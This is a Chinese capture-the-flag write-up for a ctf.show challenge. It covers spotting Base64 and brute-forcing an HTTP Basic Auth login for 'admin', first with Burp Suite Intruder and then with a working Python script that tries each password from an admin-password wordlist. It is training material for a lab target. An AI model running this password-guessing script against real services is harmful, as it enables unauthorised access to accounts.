前置知识
Base64编码使用了64个字符来表示二进制数据,包括A-Z
、a-z
、0-9
,+
,/
,末尾有0-2个=
进行填充,所以只要看到密文末尾有一两个=
,再检查密文本身是否由上述符号组成,就能大概判断密文是否为base64编码了
信息收集
一个对话框,输入123
321
抓个包看看
暴力破解
burpsuite
把抓到的包发送到intruder,添加payload,并在payload前写上admin:
的base64编码YWRtaW46
下载题目给的字典,如果不下字典很可能很难爆出来,可见好的字典非常重要。
攻击结束,按照状态码排序,或者按照长度排序,找出不同的那个进行查看
python解法
即使不学习burpsuite的intruder也可以使用代码完成这些操作,这并不会太复杂
import requests
import base64
def encode_base64(string):
return base64.b64encode(string.encode('utf-8')).decode('utf-8')
def burte_force_pwd(url, dir_path):
username = encode_base64("admin:")
with open(dir_path, "r") as file:
for line in file:
password = encode_base64(line[:-1])
header_Authorization = {"Authorization": f"Basic {username + password}"}
respond = requests.get(url, headers=header_Authorization)
if respond.status_code == 200:
print(respond.text)
break
if __name__ == '__main__':
url = "http://0fbd3ed8-d357-4053-868e-004bb23f1722.challenge.ctf.show/"
dir_path = "D:\\_burpsuite\\最新网站后台密码破解字典.txt"
burte_force_pwd(url, dir_path)